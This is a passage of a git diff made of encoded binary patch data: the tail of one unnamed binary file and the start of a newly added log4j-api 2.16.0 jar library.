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
Y?6G~H#yo+KsNm0NY;xID5lN-te;Lb<lK=n!

diff --git a/lib/java/log4j-api-2.16.0.jar b/lib/java/log4j-api-2.16.0.jar
new file mode 100644
index 0000000000000000000000000000000000000000..2cdcc4b07db3ad09612c684548672a45967ba4dc
GIT binary patch
literal 301892
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
